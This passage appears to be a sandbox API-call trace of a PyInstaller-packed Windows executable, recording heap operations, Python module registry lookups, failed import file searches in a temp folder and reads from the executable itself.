0x2ca83e8 [0074.997] GetCurrentThreadId () returned 0x9b0 [0074.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af80 [0074.997] GetCurrentThreadId () returned 0x9b0 [0074.997] GetCurrentThreadId () returned 0x9b0 [0074.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8490 [0074.997] GetCurrentThreadId () returned 0x9b0 [0074.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af90 [0074.997] GetCurrentThreadId () returned 0x9b0 [0074.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8358 [0074.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8358 | out: hHeap=0x2ad0000) returned 1 [0074.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84a8 | out: hHeap=0x2ad0000) returned 1 [0074.997] GetCurrentThreadId () returned 0x9b0 [0074.997] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0074.998] GetCurrentThreadId () returned 0x9b0 [0074.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84a8 [0074.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82c8 [0074.998] GetCurrentThreadId () returned 0x9b0 [0074.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8268 [0074.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0074.998] GetCurrentThreadId () returned 0x9b0 [0074.998] GetCurrentThreadId () returned 0x9b0 [0074.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0074.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8478 [0074.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8478 | out: hHeap=0x2ad0000) returned 1 [0074.998] GetCurrentThreadId () returned 0x9b0 [0074.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca84a8 | out: hHeap=0x2ad0000) returned 1 [0074.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0074.998] GetCurrentThreadId () returned 0x9b0 [0074.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82e0 [0074.998] GetCurrentThreadId () returned 0x9b0 [0074.998] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8238 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84c0 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83a0 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca82e0, Size=0x20) returned 0x3026dd8 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b040 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8400 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8418 [0074.999] GetCurrentThreadId () returned 0x9b0 [0074.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028248 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8208 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8370 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8430 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83d0 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8448 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028288 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028258 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8460 [0075.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8460 | out: hHeap=0x2ad0000) returned 1 [0075.000] GetCurrentThreadId () returned 0x9b0 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028328 [0075.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8460 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8388 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028268 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8250 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8358 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x30281d8 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028338 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8280 [0075.001] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026dd8, Size=0x18) returned 0x2a71680 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8478 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8340 [0075.001] GetCurrentThreadId () returned 0x9b0 [0075.002] GetCurrentThreadId () returned 0x9b0 [0075.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82b0 [0075.002] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71680, Size=0x14) returned 0x2a71700 [0075.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca84a8 [0075.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81d8 [0075.002] GetCurrentThreadId () returned 0x9b0 [0075.002] GetCurrentThreadId () returned 0x9b0 [0075.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81f0 [0075.002] GetCurrentThreadId () returned 0x9b0 [0075.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028278 [0075.002] GetCurrentThreadId () returned 0x9b0 [0075.002] GetCurrentThreadId () returned 0x9b0 [0075.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x30282c8 [0075.002] GetCurrentThreadId () returned 0x9b0 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82e0 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8220 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028358 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca82f8 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8310 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8328 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca85f8 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8598 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028228 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] GetCurrentThreadId () returned 0x9b0 [0075.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x30282a8 [0075.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca85b0 [0075.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca85b0 | out: hHeap=0x2ad0000) returned 1 [0075.004] GetCurrentThreadId () returned 0x9b0 [0075.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3028298 [0075.004] GetCurrentThreadId () returned 0x9b0 [0075.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8550 [0075.004] GetCurrentThreadId () returned 0x9b0 [0075.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca85b0 [0075.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x30282d8 [0075.004] GetCurrentThreadId () returned 0x9b0 [0075.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8790 [0075.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8730 | out: hHeap=0x2ad0000) returned 1 [0075.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8748 | out: hHeap=0x2ad0000) returned 1 [0075.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8748 [0075.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028478 | out: hHeap=0x2ad0000) returned 1 [0075.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94c08 [0075.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94c08 | out: hHeap=0x2ad0000) returned 1 [0075.005] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c97308, Size=0x20) returned 0x3027170 [0075.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0075.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97308 [0075.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028498 | out: hHeap=0x2ad0000) returned 1 [0075.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f68 [0075.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.006] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c94c08, Size=0x20) returned 0x30271e8 [0075.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028438 | out: hHeap=0x2ad0000) returned 1 [0075.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0075.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94c08 [0075.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbddc8 [0075.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbddc8 | out: hHeap=0x2ad0000) returned 1 [0075.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3027378 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] GetLastError () returned 0x0 [0075.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3027378 | out: hHeap=0x2ad0000) returned 1 [0075.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f68 [0075.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.007] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c20, Size=0x70) returned 0x2cd0b80 [0075.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30272d8 | out: hHeap=0x2ad0000) returned 1 [0075.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbddc8 [0075.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbddc8 | out: hHeap=0x2ad0000) returned 1 [0075.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3027210 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.008] GetLastError () returned 0x0 [0075.009] GetLastError () returned 0x0 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3027210 | out: hHeap=0x2ad0000) returned 1 [0075.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f68 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.009] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbacf8, Size=0x108) returned 0x2cbddc8 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3027238 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94f68 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95688 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c956d0 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95688 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c956d0 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c95688 | out: hHeap=0x2ad0000) returned 1 [0075.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95688 [0075.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c958b0 | out: hHeap=0x2ad0000) returned 1 [0075.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c956d0 | out: hHeap=0x2ad0000) returned 1 [0075.017] RegQueryValueA (in: hKey=0x80000001, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\_imp", lpData=0x2a1af78, lpcbData=0x9bae2c | out: lpData="", lpcbData=0x9bae2c) returned 0x2 [0075.017] RegQueryValueA (in: hKey=0x80000002, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\_imp", lpData=0x2a1af78, lpcbData=0x9bae2c | out: lpData="", lpcbData=0x9bae2c) returned 0x2 [0075.017] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_imp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_imp")) returned 0xffffffff [0075.017] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_imp.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_imp.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bad08, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.018] GetLastError () returned 0x2 [0075.018] GetLastError () returned 0x2 [0075.018] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_imp.py" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_imp.py"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bad08, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.018] GetLastError () returned 0x2 [0075.018] GetLastError () returned 0x2 [0075.018] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_imp.pyw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_imp.pyw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bad08, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.018] GetLastError () returned 0x2 [0075.018] GetLastError () returned 0x2 [0075.018] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_imp.pyc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_imp.pyc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bad08, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.018] GetLastError () returned 0x2 [0075.018] GetLastError () returned 0x2 [0075.018] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.018] GetFileType (hFile=0x2d8) returned 0x1 [0075.018] GetFileType (hFile=0x2d8) returned 0x1 [0075.018] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.019] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.019] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.019] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.019] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.019] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.019] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.019] GetCurrentThreadId () returned 0x9b0 [0075.019] GetLastError () returned 0x0 [0075.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0075.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.019] GetLastError () returned 0x0 [0075.019] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8738736, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x8557b0 [0075.019] GetLastError () returned 0x0 [0075.019] GetCurrentThreadId () returned 0x9b0 [0075.019] GetLastError () returned 0x0 [0075.019] GetCurrentThreadId () returned 0x9b0 [0075.019] GetLastError () returned 0x0 [0075.019] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8149248, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x7c5900 [0075.019] GetLastError () returned 0x0 [0075.019] GetCurrentThreadId () returned 0x9b0 [0075.020] GetLastError () returned 0x0 [0075.020] GetCurrentThreadId () returned 0x9b0 [0075.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x522) returned 0x3026050 [0075.020] GetLastError () returned 0x0 [0075.020] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc24c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2cc24c8*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0075.020] GetLastError () returned 0x0 [0075.020] GetCurrentThreadId () returned 0x9b0 [0075.020] GetCurrentThreadId () returned 0x9b0 [0075.020] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x7c6900 [0075.020] GetCurrentThreadId () returned 0x9b0 [0075.020] CloseHandle (hObject=0x2d8) returned 1 [0075.020] GetCurrentThreadId () returned 0x9b0 [0075.020] GetCurrentThreadId () returned 0x9b0 [0075.020] GetCurrentThreadId () returned 0x9b0 [0075.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3036ab0 | out: hHeap=0x2ad0000) returned 1 [0075.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x134) returned 0x2cbc4b8 [0075.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0075.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0075.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f8e00 [0075.021] GetCurrentThreadId () returned 0x9b0 [0075.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.021] GetCurrentThreadId () returned 0x9b0 [0075.021] GetCurrentThreadId () returned 0x9b0 [0075.021] GetCurrentThreadId () returned 0x9b0 [0075.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.021] GetCurrentThreadId () returned 0x9b0 [0075.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.021] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.021] GetCurrentThreadId () returned 0x9b0 [0075.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.021] GetCurrentThreadId () returned 0x9b0 [0075.021] GetCurrentThreadId () returned 0x9b0 [0075.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9730 [0075.021] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources\\extern", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x29ef3f0, ftCreationTime.dwLowDateTime=0x30d5f70, ftCreationTime.dwHighDateTime=0x2a72740, ftLastAccessTime.dwLowDateTime=0x7f, ftLastAccessTime.dwHighDateTime=0xbfcb6d5c, ftLastWriteTime.dwLowDateTime=0x9ba3e8, ftLastWriteTime.dwHighDateTime=0x72fbb915, nFileSizeHigh=0x9ba3fc, nFileSizeLow=0x73013d47, dwReserved0=0x9ba3f4, dwReserved1=0x0, cFileName="\xdc\xa4\x9b", cAlternateFileName="")) returned 0xffffffff [0075.022] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources\\extern", nBufferLength=0x104, lpBuffer=0x9ba4f8, lpFilePart=0x9ba350 | out: 